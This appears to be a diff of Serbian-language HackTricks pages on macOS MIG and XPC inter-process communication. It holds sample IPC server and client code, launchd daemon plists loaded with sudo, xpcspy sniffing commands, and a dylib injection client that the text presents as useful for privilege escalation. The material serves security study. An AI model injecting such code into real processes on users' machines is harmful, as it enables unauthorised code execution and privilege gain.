|
||||||
routine myipc_sample_routine {
|
routine myipc_sample_routine {
|
||||||
|
@ -88,11 +85,10 @@ routine myipc_sample_routine {
|
||||||
|
|
||||||
In the example above, `myipc_sample_routine` is a MIG routine that defines the structure of the message for inter-process communication.
|
In the example above, `myipc_sample_routine` is a MIG routine that defines the structure of the message for inter-process communication.
|
||||||
|
|
||||||
MIG simplifies the development of IPC mechanisms in macOS by automatically generating the necessary code for message passing between processes. This automation helps in reducing errors and streamlining the IPC implementation process.
|
MIG simplifies the development of IPC mechanisms in macOS by automatically generating the necessary code for message passing between processes. This automation helps in reducing errors and streamlining the IPC implementation process.
|
||||||
|
|
||||||
By understanding how MIG works, security researchers can analyze and identify potential vulnerabilities in macOS IPC mechanisms and enhance the overall security posture of the system.
|
By understanding how MIG works, security researchers can analyze and identify potential vulnerabilities in macOS IPC mechanisms and enhance the overall security posture of the system.
|
||||||
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
```c
|
||||||
/* Description of this subsystem, for use in direct RPC */
|
/* Description of this subsystem, for use in direct RPC */
|
||||||
extern const struct SERVERPREFmyipc_subsystem {
|
extern const struct SERVERPREFmyipc_subsystem {
|
||||||
|
@ -105,7 +101,9 @@ struct routine_descriptor /* Array of routine descriptors */
|
||||||
routine[1];
|
routine[1];
|
||||||
} SERVERPREFmyipc_subsystem;
|
} SERVERPREFmyipc_subsystem;
|
||||||
```
|
```
|
||||||
|
|
||||||
Na osnovu prethodne strukture, funkcija **`myipc_server_routine`** će dobiti **ID poruke** i vratiti odgovarajuću funkciju koja treba da se pozove:
|
Na osnovu prethodne strukture, funkcija **`myipc_server_routine`** će dobiti **ID poruke** i vratiti odgovarajuću funkciju koja treba da se pozove:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
mig_external mig_routine_t myipc_server_routine
|
mig_external mig_routine_t myipc_server_routine
|
||||||
(mach_msg_header_t *InHeadP)
|
(mach_msg_header_t *InHeadP)
|
||||||
|
@ -120,15 +118,18 @@ return 0;
|
||||||
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
U ovom primeru smo definisali samo 1 funkciju u definicijama, ali da smo definisali više funkcija, bile bi unutar niza **`SERVERPREFmyipc_subsystem`** i prva bi bila dodeljena ID-u **500**, druga ID-u **501**...
|
U ovom primeru smo definisali samo 1 funkciju u definicijama, ali da smo definisali više funkcija, bile bi unutar niza **`SERVERPREFmyipc_subsystem`** i prva bi bila dodeljena ID-u **500**, druga ID-u **501**...
|
||||||
|
|
||||||
Zapravo je moguće identifikovati ovu vezu u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
Zapravo je moguće identifikovati ovu vezu u strukturi **`subsystem_to_name_map_myipc`** iz **`myipcServer.h`**:
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#ifndef subsystem_to_name_map_myipc
|
#ifndef subsystem_to_name_map_myipc
|
||||||
#define subsystem_to_name_map_myipc \
|
#define subsystem_to_name_map_myipc \
|
||||||
{ "Subtract", 500 }
|
{ "Subtract", 500 }
|
||||||
#endif
|
#endif
|
||||||
```
|
```
|
||||||
|
|
||||||
Konačno, još jedna važna funkcija koja će omogućiti rad servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om:
|
Konačno, još jedna važna funkcija koja će omogućiti rad servera biće **`myipc_server`**, koja će zapravo **pozvati funkciju** povezanu sa primljenim ID-om:
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||||
|
@ -167,8 +168,6 @@ Proverite prethodno istaknute linije pristupa funkciji koju treba pozvati prema
|
||||||
|
|
||||||
U nastavku je kod za kreiranje jednostavnog **servera** i **klijenta** gde klijent može pozvati funkcije Oduzimanje sa servera:
|
U nastavku je kod za kreiranje jednostavnog **servera** i **klijenta** gde klijent može pozvati funkcije Oduzimanje sa servera:
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="myipc_server.c" %}
|
|
||||||
```c
|
```c
|
||||||
// gcc myipc_server.c myipcServer.c -o myipc_server
|
// gcc myipc_server.c myipcServer.c -o myipc_server
|
||||||
|
|
||||||
|
@ -199,9 +198,9 @@ return 1;
|
||||||
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsystem), port, MACH_MSG_TIMEOUT_NONE);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="myipc_client.c" %}
|
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||||
|
|
||||||
|
@ -226,14 +225,17 @@ printf("Port right name %d\n", port);
|
||||||
USERPREFSubtract(port, 40, 2);
|
USERPREFSubtract(port, 40, 2);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Analiza binarnih fajlova
|
### Analiza binarnih fajlova
|
||||||
|
|
||||||
Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je MIG korišćen** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
|
Pošto mnogi binarni fajlovi sada koriste MIG za izlaganje mach portova, interesantno je znati kako **identifikovati da je MIG korišćen** i **funkcije koje MIG izvršava** sa svakim ID-jem poruke.
|
||||||
|
|
||||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršavanje:
|
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2) može parsirati MIG informacije iz Mach-O binarnog fajla, pokazujući ID poruke i identifikujući funkciju za izvršavanje:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||||
```
|
```
|
||||||
|
|
||||||
Ranije je pomenuto da će funkcija koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
Ranije je pomenuto da će funkcija koja će se brinuti o **pozivanju odgovarajuće funkcije u zavisnosti od primljenog ID poruke** biti `myipc_server`. Međutim, obično nećete imati simbole binarnog koda (imenovanje funkcija), pa je zanimljivo **proveriti kako izgleda dekompilirano** jer će uvek biti vrlo slično (kod ove funkcije je nezavisan od izloženih funkcija):
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
|
|
|
@ -1,5 +1,7 @@
|
||||||
# macOS XPC
|
# macOS XPC
|
||||||
|
|
||||||
|
## macOS XPC
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -9,12 +11,12 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Osnovne informacije
|
### Osnovne informacije
|
||||||
|
|
||||||
XPC, što je skraćenica za XNU (jezgro koje koristi macOS) inter-procesnu komunikaciju, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za izvršavanje **bezbednih, asinhronih poziva metoda između različitih procesa** na sistemu. To je deo Apple-ovog sigurnosnog paradigme, koji omogućava **kreiranje aplikacija sa odvojenim privilegijama** gde svaki **komponent** radi sa **samo dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
XPC, što je skraćenica za XNU (jezgro koje koristi macOS) inter-procesnu komunikaciju, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za izvršavanje **bezbednih, asinhronih poziva metoda između različitih procesa** na sistemu. To je deo Apple-ovog sigurnosnog paradigme, koji omogućava **kreiranje aplikacija sa odvojenim privilegijama** gde svaki **komponent** radi sa **samo dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
||||||
|
|
||||||
|
@ -28,7 +30,7 @@ Glavne prednosti XPC-a uključuju:
|
||||||
|
|
||||||
Jedini **nedostatak** je da **razdvajanje aplikacije u nekoliko procesa** koji komuniciraju putem XPC-a je **manje efikasno**. Ali u današnjim sistemima to je gotovo neprimetno, a prednosti su veće.
|
Jedini **nedostatak** je da **razdvajanje aplikacije u nekoliko procesa** koji komuniciraju putem XPC-a je **manje efikasno**. Ali u današnjim sistemima to je gotovo neprimetno, a prednosti su veće.
|
||||||
|
|
||||||
## XPC servisi specifični za aplikaciju
|
### XPC servisi specifični za aplikaciju
|
||||||
|
|
||||||
XPC komponente aplikacije su **unutar same aplikacije**. Na primer, u Safari-ju ih možete pronaći u **`/Applications/Safari.app/Contents/XPCServices`**. Imaju ekstenziju **`.xpc`** (kao **`com.apple.Safari.SandboxBroker.xpc`**) i **takođe su paketi** sa glavnim binarnim fajlom unutar njega: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` i `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
XPC komponente aplikacije su **unutar same aplikacije**. Na primer, u Safari-ju ih možete pronaći u **`/Applications/Safari.app/Contents/XPCServices`**. Imaju ekstenziju **`.xpc`** (kao **`com.apple.Safari.SandboxBroker.xpc`**) i **takođe su paketi** sa glavnim binarnim fajlom unutar njega: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` i `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
|
||||||
|
|
||||||
|
@ -36,11 +38,12 @@ Kao što možda mislite, **XPC komponenta će imati različite privilegije i doz
|
||||||
|
|
||||||
XPC servisi se **pokreću** pomoću **launchd** kada su potrebni i **zaustavljaju** se kada su sve zadatke **završili** kako bi se oslobodili sistemski resursi. **XPC komponente specifične za aplikaciju mogu koristiti samo aplikacija**, čime se smanjuje rizik od potencijalnih ranjivosti.
|
XPC servisi se **pokreću** pomoću **launchd** kada su potrebni i **zaustavljaju** se kada su sve zadatke **završili** kako bi se oslobodili sistemski resursi. **XPC komponente specifične za aplikaciju mogu koristiti samo aplikacija**, čime se smanjuje rizik od potencijalnih ranjivosti.
|
||||||
|
|
||||||
## XPC servisi na nivou sistema
|
### XPC servisi na nivou sistema
|
||||||
|
|
||||||
XPC servisi na nivou sistema su dostupni svim korisnicima. Ovi servisi, bilo da su u pitanju launchd ili Mach-tip, moraju biti **definisani u plist** fajlovima koji se nalaze u određenim direktorijumima kao što su **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, ili **`/Library/LaunchAgents`**.
|
XPC servisi na nivou sistema su dostupni svim korisnicima. Ovi servisi, bilo da su u pitanju launchd ili Mach-tip, moraju biti **definisani u plist** fajlovima koji se nalaze u određenim direktorijumima kao što su **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, ili **`/Library/LaunchAgents`**.
|
||||||
|
|
||||||
Ovi plist fajlovi će imati ključ pod nazivom **`MachServices`** sa imenom servisa, i ključ pod nazivom **`Program`** sa putanjom do binarnog fajla:
|
Ovi plist fajlovi će imati ključ pod nazivom **`MachServices`** sa imenom servisa, i ključ pod nazivom **`Program`** sa putanjom do binarnog fajla:
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
|
|
||||||
|
@ -74,13 +77,14 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
|
|
||||||
Oni u **`LaunchDameons`** direktorijumu se pokreću kao root. Dakle, ako neprivilegovani proces može da komunicira sa jednim od njih, mogao bi da dobije privilegije.
|
Oni u **`LaunchDameons`** direktorijumu se pokreću kao root. Dakle, ako neprivilegovani proces može da komunicira sa jednim od njih, mogao bi da dobije privilegije.
|
||||||
|
|
||||||
## XPC Event poruke
|
### XPC Event poruke
|
||||||
|
|
||||||
Aplikacije mogu **pretplatiti** na različite događajne **poruke**, omogućavajući im da se **iniciraju po potrebi** kada se takvi događaji dese. **Postavljanje** ovih usluga se vrši u **launchd plist fajlovima**, smeštenim u **istim direktorijumima kao i prethodni**, i sadrže dodatni ključ **`LaunchEvent`**.
|
Aplikacije mogu **pretplatiti** na različite događajne **poruke**, omogućavajući im da se **iniciraju po potrebi** kada se takvi događaji dese. **Postavljanje** ovih usluga se vrši u **launchd plist fajlovima**, smeštenim u **istim direktorijumima kao i prethodni**, i sadrže dodatni ključ **`LaunchEvent`**.
|
||||||
|
|
||||||
### Provera povezanog XPC procesa
|
#### Provera povezanog XPC procesa
|
||||||
|
|
||||||
Kada proces pokuša da pozove metod putem XPC konekcije, **XPC servis treba da proveri da li je taj proces dozvoljen da se poveže**. Evo uobičajenih načina za proveru i uobičajenih zamki:
|
Kada proces pokuša da pozove metod putem XPC konekcije, **XPC servis treba da proveri da li je taj proces dozvoljen da se poveže**. Evo uobičajenih načina za proveru i uobičajenih zamki:
|
||||||
|
|
||||||
|
@ -88,7 +92,7 @@ Kada proces pokuša da pozove metod putem XPC konekcije, **XPC servis treba da p
|
||||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XPC Autorizacija
|
### XPC Autorizacija
|
||||||
|
|
||||||
Apple takođe omogućava aplikacijama da **konfigurišu određena prava i način njihovog dobijanja**, tako da ako pozivajući proces ima ta prava, biće **dozvoljeno pozivanje metoda** iz XPC servisa:
|
Apple takođe omogućava aplikacijama da **konfigurišu određena prava i način njihovog dobijanja**, tako da ako pozivajući proces ima ta prava, biće **dozvoljeno pozivanje metoda** iz XPC servisa:
|
||||||
|
|
||||||
|
@ -96,9 +100,10 @@ Apple takođe omogućava aplikacijama da **konfigurišu određena prava i način
|
||||||
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
[macos-xpc-authorization.md](macos-xpc-authorization.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## XPC Sniffer
|
### XPC Sniffer
|
||||||
|
|
||||||
Da biste prisluškivali XPC poruke, možete koristiti [**xpcspy**](https://github.com/hot3eed/xpcspy) koji koristi **Frida**.
|
Da biste prisluškivali XPC poruke, možete koristiti [**xpcspy**](https://github.com/hot3eed/xpcspy) koji koristi **Frida**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Install
|
# Install
|
||||||
pip3 install xpcspy
|
pip3 install xpcspy
|
||||||
|
@ -109,10 +114,11 @@ xpcspy -U -r -W <bundle-id>
|
||||||
## Using filters (i: for input, o: for output)
|
## Using filters (i: for input, o: for output)
|
||||||
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
|
||||||
```
|
```
|
||||||
## XPC Komunikacija C Primer koda
|
|
||||||
|
### XPC Komunikacija C Primer koda
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="xpc_server.c" %}
|
{% tab title="undefined" %}
|
||||||
```c
|
```c
|
||||||
// gcc xpc_server.c -o xpc_server
|
// gcc xpc_server.c -o xpc_server
|
||||||
|
|
||||||
|
@ -166,7 +172,9 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xpc_client.c" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```c
|
```c
|
||||||
// gcc xpc_client.c -o xpc_client
|
// gcc xpc_client.c -o xpc_client
|
||||||
|
|
||||||
|
@ -195,7 +203,11 @@ dispatch_main();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist je datoteka koja se koristi za konfigurisanje XPC servisa na macOS operativnom sistemu. XPC (Cross-Process Communication) je mehanizam koji omogućava komunikaciju između različitih procesa na macOS-u. Ova datoteka definiše parametre i postavke za XPC servis, kao što su putanja do izvršne datoteke, argumenti komandne linije i okruženje. Kada se pokrene XPC servis, macOS koristi ovu datoteku za konfigurisanje servisa i uspostavljanje komunikacije sa drugim procesima.
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="xyz.hacktricks.service.plist" %}
|
||||||
|
xyz.hacktricks.service.plist je datoteka koja se koristi za konfigurisanje XPC servisa na macOS operativnom sistemu. XPC (Cross-Process Communication) je mehanizam koji omogućava komunikaciju između različitih procesa na macOS-u. Ova datoteka definiše parametre i postavke za XPC servis, kao što su putanja do izvršne datoteke, argumenti komandne linije i okruženje. Kada se pokrene XPC servis, macOS koristi ovu datoteku za konfigurisanje servisa i uspostavljanje komunikacije sa drugim procesima.
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -218,6 +230,7 @@ return 0;
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Compile the server & client
|
# Compile the server & client
|
||||||
gcc xpc_server.c -o xpc_server
|
gcc xpc_server.c -o xpc_server
|
||||||
|
@ -237,10 +250,11 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
|
||||||
```
|
```
|
||||||
## Primer koda za XPC komunikaciju u Objective-C-u
|
|
||||||
|
### Primer koda za XPC komunikaciju u Objective-C-u
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="oc_xpc_server.m" %}
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||||
#include <Foundation/Foundation.h>
|
#include <Foundation/Foundation.h>
|
||||||
|
@ -290,7 +304,9 @@ listener.delegate = delegate;
|
||||||
sleep(10); // Fake something is done and then it ends
|
sleep(10); // Fake something is done and then it ends
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="oc_xpc_client.m" %}
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="undefined" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||||
#include <Foundation/Foundation.h>
|
#include <Foundation/Foundation.h>
|
||||||
|
@ -313,13 +329,17 @@ NSLog(@"Received response: %@", response);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist je konfiguracioni fajl za XPC servis na macOS-u. XPC (XPC Services) je mehanizam za interprocesnu komunikaciju (IPC) koji omogućava komunikaciju između različitih procesa na macOS-u. Ovaj fajl definiše kako će se XPC servis pokrenuti i konfigurisati.
|
{% endtab %}
|
||||||
|
|
||||||
|
{% tab title="xyz.hacktricks.svcoc.plist" %}
|
||||||
|
xyz.hacktricks.svcoc.plist je konfiguracioni fajl za XPC servis na macOS-u. XPC (XPC Services) je mehanizam za interprocesnu komunikaciju (IPC) koji omogućava komunikaciju između različitih procesa na macOS-u. Ovaj fajl definiše kako će se XPC servis pokrenuti i konfigurisati.
|
||||||
|
|
||||||
Da biste iskoristili XPC servis, možete izmeniti ovaj fajl kako biste promenili način na koji se servis pokreće ili konfiguriše. Na primer, možete promeniti putanju do izvršnog fajla servisa ili dodati dodatne argumente za pokretanje.
|
Da biste iskoristili XPC servis, možete izmeniti ovaj fajl kako biste promenili način na koji se servis pokreće ili konfiguriše. Na primer, možete promeniti putanju do izvršnog fajla servisa ili dodati dodatne argumente za pokretanje.
|
||||||
|
|
||||||
Važno je napomenuti da izmena ovog fajla može dovesti do neispravnog rada XPC servisa ili čak do sigurnosnih propusta. Stoga, pre nego što izmenite ovaj fajl, preporučuje se da pažljivo proučite dokumentaciju i razumete kako XPC servisi funkcionišu na macOS-u. Takođe, preporučuje se da napravite rezervnu kopiju originalnog fajla pre izmene kako biste mogli da se vratite na prethodno stanje ako nešto pođe po zlu.
|
Važno je napomenuti da izmena ovog fajla može dovesti do neispravnog rada XPC servisa ili čak do sigurnosnih propusta. Stoga, pre nego što izmenite ovaj fajl, preporučuje se da pažljivo proučite dokumentaciju i razumete kako XPC servisi funkcionišu na macOS-u. Takođe, preporučuje se da napravite rezervnu kopiju originalnog fajla pre izmene kako biste mogli da se vratite na prethodno stanje ako nešto pođe po zlu.
|
||||||
|
|
||||||
Ukratko, xyz.hacktricks.svcoc.plist je konfiguracioni fajl za XPC servis na macOS-u koji definiše način pokretanja i konfiguracije servisa. Izmenom ovog fajla možete prilagoditi ponašanje XPC servisa, ali budite oprezni da ne izazovete neispravan rad ili sigurnosne propuste.
|
Ukratko, xyz.hacktricks.svcoc.plist je konfiguracioni fajl za XPC servis na macOS-u koji definiše način pokretanja i konfiguracije servisa. Izmenom ovog fajla možete prilagoditi ponašanje XPC servisa, ali budite oprezni da ne izazovete neispravan rad ili sigurnosne propuste.
|
||||||
|
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||||
|
@ -342,25 +362,26 @@ Ukratko, xyz.hacktricks.svcoc.plist je konfiguracioni fajl za XPC servis na macO
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
```bash
|
|
||||||
# Compile the server & client
|
|
||||||
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
|
||||||
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
|
||||||
|
|
||||||
# Save server on it's location
|
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
|
||||||
cp oc_xpc_server /tmp
|
|
||||||
|
|
||||||
# Load daemon
|
## Save server on it's location
|
||||||
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
|
||||||
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
|
|
||||||
# Call client
|
cp oc\_xpc\_server /tmp
|
||||||
./oc_xpc_client
|
|
||||||
|
|
||||||
# Clean
|
## Load daemon
|
||||||
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
|
||||||
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
```
|
|
||||||
|
## Call client
|
||||||
|
|
||||||
|
./oc\_xpc\_client
|
||||||
|
|
||||||
|
## Clean
|
||||||
|
|
||||||
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
|
||||||
|
|
||||||
|
````
|
||||||
## Klijent unutar Dylb koda
|
## Klijent unutar Dylb koda
|
||||||
|
|
||||||
### Opis
|
### Opis
|
||||||
|
@ -402,11 +423,12 @@ int main() {
|
||||||
dlclose(handle);
|
dlclose(handle);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
````
|
||||||
|
|
||||||
### Zaključak
|
#### Zaključak
|
||||||
|
|
||||||
Korišćenje klijenta unutar Dylb koda omogućava izvršavanje koda unutar ciljnog procesa putem Dylb biblioteke. Ova tehnika može biti korisna za postizanje privilegija eskalacije i zloupotrebu procesa na macOS sistemu.
|
Korišćenje klijenta unutar Dylb koda omogućava izvršavanje koda unutar ciljnog procesa putem Dylb biblioteke. Ova tehnika može biti korisna za postizanje privilegija eskalacije i zloupotrebu procesa na macOS sistemu.
|
||||||
|
|
||||||
```objectivec
|
```objectivec
|
||||||
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||||
// gcc injection example:
|
// gcc injection example:
|
||||||
|
@ -440,6 +462,7 @@ NSLog(@"Done!");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -449,7 +472,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
